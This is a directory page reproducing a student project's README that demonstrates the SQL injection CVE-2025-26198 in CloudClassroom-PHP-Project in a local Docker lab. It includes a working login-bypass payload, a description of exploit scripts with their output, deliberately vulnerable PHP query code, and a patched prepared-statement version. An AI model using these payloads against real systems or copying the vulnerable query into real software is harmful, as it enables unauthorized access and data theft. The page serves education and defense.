Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-26198 — Reprodução educacional da injeção de SQL CVE-2025-26198 no CloudClassroom-PHP-Project, demonstrando quatro técnicas de exploração (booleana, união, baseada em tempo, leitura de arquivo) com comparação de versão corrigida. | Kitploit
Ferramentas/GitHubGitHub/wailyacoubi9/cve-2025-26198
Análise de VulnerabilidadesExploração de Aplicações WebTestes de PenetraçãoAutenticaçãoAprendizado e EducaçãoSegurança de Banco de Dados
GitHubwailyacoubi9/cve-2025-26198

CVE-2025-26198

Reprodução educacional da injeção de SQL CVE-2025-26198 no CloudClassroom-PHP-Project, demonstrando quatro técnicas de exploração (booleana, união, baseada em tempo, leitura de arquivo) com comparação de versão corrigida.

Ver Repositório
1há 7 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2025-26198 - Demonstração de Injeção SQL

Projeto acadêmico ENSIMAG - Segurança 3A
Autores: Wail Yacoubi, Mohammed-Yassine Akhmari
Data: Janeiro de 2026


Aviso

Este código é intencionalmente vulnerável para fins educativos.
Nunca implantar em produção.


Descrição

Reprodução da CVE-2025-26198: Injeção SQL crítica no CloudClassroom-PHP-Project v1.0.

Características da CVE:

  • Identificador: CVE-2025-26198
  • Pontuação CVSS: 9.8/10 (Crítico)
  • Tipo: Injeção SQL (CWE-89)
  • Componente vulnerável: loginlinkadmin.php
  • Impacto: Bypass de autenticação + extração completa do banco de dados

Referência oficial: https://nvd.nist.gov/vuln/detail/CVE-2025-26198


Objetivo

Demonstrar 4 técnicas de exploração de Injeção SQL:

  1. Boolean-based - Bypass de autenticação
  2. Union-based - Extração de dados
  3. Time-based Blind - Detecção por atraso
  4. File Read - Leitura de arquivos do sistema

Instalação

Pré-requisitos

  • Docker e Docker Compose
  • Python 3.x
  • Instalar requests: pip install requests

Inicialização

root@kitploit:~
# Cloner le repository
git clone <votre-repo>
cd CVE-2025-26198

# Lancer l'infrastructure
docker-compose up -d

# Attendre que MySQL soit prêt (30 secondes)
sleep 30

# Vérifier les containers
docker-compose ps

A aplicação está acessível em http://localhost:8081


Exploração

Método 1: Manual (navegador)

  1. Ir para http://localhost:8081

  2. Preencher o formulário:

    • Username: admin' OR '1'='1'-- -
    • Password: anything
  3. Clicar em Login

Resultado: Login de administrador bem-sucedido sem senha válida.

Explicação:

O payload transforma a consulta SQL:

root@kitploit:~
-- Requête normale
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')

-- Requête avec injection
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')

O OR '1'='1' é sempre verdadeiro, e -- - comenta o resto.


Método 2: Scripts Python

Script simples

root@kitploit:~
python exploit_simple.py http://localhost:8081

Saída esperada:

root@kitploit:~
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200

Script completo (4 técnicas)

root@kitploit:~
python exploit.py http://localhost:8081

Saída esperada:

root@kitploit:~
============================================================
  CVE-2025-26198 - SQL Injection Exploitation
============================================================

Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials

Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
    - admin:[email protected]
    - superadmin:[email protected]

Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED

Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed

EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)

Versão corrigida

Testar a versão segura com prepared statements:

root@kitploit:~
# Activer la version patchée
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3

# Retester l'exploit
python exploit_simple.py http://localhost:8081

Resultado esperado:

root@kitploit:~
[-] Error: Connection aborted
[-] Exploitation failed

O ataque é bloqueado pela validação das entradas e pelos prepared statements.

Restaurar a versão vulnerável:

root@kitploit:~
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web

Comparação das versões

AspectoVersão VulnerávelVersão Corrigida
Consulta SQLConcatenação diretaPrepared statement PDO
Validação de entradaNenhumaRegex alfanumérica
Escape de saídaNãohtmlspecialchars()
Injeção SQLExplorávelBloqueada
LogsNenhumerror_log()

Código vulnerável:

root@kitploit:~
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);

Código seguro:

root@kitploit:~
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();

Estrutura do projeto

root@kitploit:~
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│   ├── index.html
│   ├── loginlinkadmin.php          # Version vulnérable
│   ├── loginlinkadmin_PATCHED.php  # Version sécurisée
│   └── sql/
│       ├── init.sql
│       └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/

Solução de problemas

Container web não inicia

root@kitploit:~
docker-compose logs web
docker-compose down
docker-compose up -d --build

O exploit não funciona

root@kitploit:~
# Vérifier MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"

# Vérifier service web
curl http://localhost:8081

# Vérifier version active
head -n 2 app/loginlinkadmin.php

Porta já em uso

Modificar docker-compose.yml:

root@kitploit:~
ports:
  - "8082:80"

Documentação

Ver RAPPORT.md para a análise detalhada incluindo:

  • Mecanismo da vulnerabilidade
  • Arquitetura do sistema
  • Recomendações de segurança
  • Boas práticas de desenvolvimento

Referências

  • CVE oficial: https://nvd.nist.gov/vuln/detail/CVE-2025-26198
  • Projeto original: https://github.com/mathurvishal/CloudClassroom-PHP-Project
  • OWASP SQL Injection: https://owasp.org/www-community/attacks/SQL_Injection
  • PHP PDO: https://www.php.net/manual/en/pdo.prepared-statements.php

Aviso legal

Projeto desenvolvido exclusivamente para fins educacionais no âmbito do curso de cibersegurança ENSIMAG.

Uso autorizado:

  • Aprendizado e treinamento
  • Testes em ambientes autorizados

Uso proibido:

  • Ataques a sistemas reais
  • Uso malicioso

Qualquer uso fora do âmbito acadêmico é estritamente proibido e ilegal.


Autores
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - Turma de 2026
Curso: Segurança 3A

Baixar ferramenta